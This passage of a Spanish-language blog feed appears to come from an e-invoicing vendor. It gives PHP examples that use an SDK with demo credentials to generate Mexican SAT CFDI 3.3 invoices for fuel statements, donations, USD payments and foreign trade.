<span style="font-size: x-small;">// Se agregan los Impuestos</span><br />
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['impuesto'] = '003';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['tasa'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['importe'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Complemento Estado de Cuenta de Combustible</span><br />
<span style="font-size: x-small;">$datos['ecc11']['TipoOperacion']='Tarjeta';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['NumeroDeCuenta']='908545';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['SubTotal']='284.00';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Total']='329.44';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Identificador']='123';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Fecha']=date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Rfc']='AAA010101AAA';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['ClaveEstacion']='8';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['TAR']='667';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Cantidad']='4.0';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['NoIdentificacion']='32011';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Unidad']='32011';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['NombreCombustible']='oil';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['FolioOperacion']='243';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['ValorUnitario']='35.50';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Importe']='142.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Traslados'][0]['Impuesto']='IVA';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Traslados'][0]['TasaoCuota']='0.16';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][0]['Traslados'][0]['Importe']='22.72';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Identificador']='456';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Fecha']=date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Rfc']='AAA010101AAA';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['ClaveEstacion']='8';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['TAR']='667';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Cantidad']='4.0';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['NoIdentificacion']='32011';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Unidad']='32011';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['NombreCombustible']='oil';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['FolioOperacion']='243';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['ValorUnitario']='35.50';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Importe']='142.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Traslados'][0]['Impuesto']='IEPS';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Traslados'][0]['TasaoCuota']='0.16';</span><br />
<span style="font-size: x-small;">$datos['ecc11']['Conceptos'][1]['Traslados'][0]['Importe']='22.72';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res= mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-9519607377790971392018-12-04T11:41:00.000-06:002018-12-04T11:41:02.255-06:00Facturacion electronica SAT Ejemplo crear xml cfdi donatarias en phpFacturacion electronica SAT Ejemplo crear xml cfdi donatarias en php<br />
<br />
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la version de CFDi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// SE ESPECIFICA EL COMPLEMENTO</span><br />
<span style="font-size: x-small;">$datos['complemento'] = 'donatarias11';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML Timbrado</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_factura_donatarias11.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML de Debug</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_donatarias11.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Credenciales de Timbrado</span><br />
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Rutas y clave de los CSD</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos de la Factura</span><br />
<span style="font-size: x-small;">$datos['factura']['condicionesDePago'] = 'CONDICIONES';</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100';</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01';</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '45079';</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE';</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN';</span><br />
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A';</span><br />
<span style="font-size: x-small;">$datos['factura']['subtotal'] = '100.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = '1';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I';</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = '100.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Emisor</span><br />
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA</span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Receptor</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'XAXX010101000';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'Publico en General';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'G01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los conceptos</span><br />
<span style="font-size: x-small;">for ($i = 1; $i <= 1; $i++)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['cantidad'] = '1.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['unidad'] = 'PZ';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ID'] = "COD$i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['valorunitario'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['importe'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveUnidad'] = 'C81';</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los Impuestos</span><br />
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['impuesto'] = '003';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['tasa'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['importe'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Complemento Donatarias 1.1</span><br />
<span style="font-size: x-small;">$datos['donatarias11']['noAutorizacion']='29';</span><br />
<span style="font-size: x-small;">$datos['donatarias11']['fechaAutorizacion']='2017-04-05';</span><br />
<span style="font-size: x-small;">$datos['donatarias11']['leyenda']='mileyenda';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res= mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-77795039467993283432018-12-03T11:34:00.000-06:002018-12-03T11:34:03.387-06:00Facturacion electronica SAT Ejemplo crear xml cfdi pago en dolares en phpFacturacion electronica SAT Ejemplo crear xml cfdi pago en dolares en php<br />
<br />
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO'; // [SI|NO]</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//Version cfdi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;">//RUTA DONDE ALMACENARA EL CFDI</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_arrendamiento.xml';</span><br />
<span style="font-size: x-small;">// OPCIONAL GUARDAR EL XML GENERADO ANTES DE TIMBRARLO</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_arrendamiento.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, ACTIVAR SOLO EN CASO DE CONFLICTOS</span><br />
<span style="font-size: x-small;">//$datos['remueve_acentos']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, UTILIZAR LA LIBRERIA PHP DE OPENSSL, DEFAULT SI</span><br />
<span style="font-size: x-small;">$datos['php_openssl']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s',time()-120);// Opcional "time()-120" para retrasar la hora 2 minutos para evitar falla de error en rango de fecha</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE'; // EFECTIV0, CHEQUE, TARJETA DE CREDITO, TRANSFERENCIA BANCARIA, NO IDENTIFICADO</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01'; //PAGO EN UNA SOLA EXHIBICION, CREDITO 7 DIAS, CREDITO 15 DIAS, CREDITO 30 DIAS, ETC</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I'; //ingreso, egreso</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'USD'; // MXN USD EUR</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = '13.520000'; // OPCIONAL (MXN = 1.00, OTRAS EJ: USD = 13.45; EUR = 16.86)</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '27000';</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA </span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// IMPORTANTE PROBAR CON NOMBRE Y RFC REAL O GENERARA ERROR DE XML MAL FORMADO</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'SOHM7509289MA';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'MIGUEL ANGEL SOSA HERNANDEZ';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'P01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"> $concepto['ClaveProdServ'] = '84111506';</span><br />
<span style="font-size: x-small;"> $concepto['cantidad'] = '1';</span><br />
<span style="font-size: x-small;"> $concepto['unidad'] = 'PIEZA';</span><br />
<span style="font-size: x-small;"> $concepto['ClaveUnidad'] = "ACT"; //ID, REF, CODIGO O SKU DEL PRODUCTO</span><br />
<span style="font-size: x-small;"> $concepto['descripcion'] = "PRODUCTO PRUEBA 1";</span><br />
<span style="font-size: x-small;"> $concepto['valorunitario'] = '1000.00'; // SIN IVA</span><br />
<span style="font-size: x-small;"> $concepto['importe'] = '1000.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"> $datos['conceptos'][0] = $concepto;</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = '160.00'; </span><br />
<span style="font-size: x-small;"><span style="white-space: pre;"> </span>$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 1000.00; // sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = 0.00; // descuento sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 1160.00; // total incluyendo impuestos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados']='160.00';</span><br />
<span style="font-size: x-small;">$translado1['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$translado1['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$translado1['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$translado1['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0] = $translado1;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-14851410085038042902018-12-02T11:25:00.000-06:002018-12-02T11:25:05.413-06:00Facturacion electronica SAT Ejemplo crear xml cfdi comercio exterior en phpFacturacion electronica SAT Ejemplo crear xml cfdi comercio exterior en php<br />
<br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['complemento'] = 'comercioexterior11';</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_factura_comercio_exterior11.xml';</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_comercio_exterior11.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['condicionesDePago'] = 'CONDICIONES';</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100';</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01';</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '45079';</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE';</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN';</span><br />
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A';</span><br />
<span style="font-size: x-small;">$datos['factura']['subtotal'] = '300.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = '1';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I';</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = '300.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/*$datos['CfdisRelacionados']['TipoRelacion'] = '01';</span><br />
<span style="font-size: x-small;">$datos['CfdisRelacionados']['UUID'][0]='A39DA66B-52CA-49E3-879B-5C05185B0EF7';*/</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//$datos['factura']['Confirmacion'] = '0234';</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA</span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'XEXX010101000';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'Extranjero';</span><br />
<span style="font-size: x-small;">$datos['receptor']['ResidenciaFiscal'] = 'USA';</span><br />
<span style="font-size: x-small;">$datos['receptor']['NumRegIdTrib'] = '1234567890';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'G03';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">for ($i = 1; $i <= 3; $i++)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['cantidad'] = '1.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['unidad'] = 'PZ';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ID'] = "123".$i;</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['valorunitario'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['importe'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveUnidad'] = 'C81';</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/*$datos['impuestos']['translados'][0]['impuesto'] = '001';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['tasa'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['importe'] = '16';</span><br />
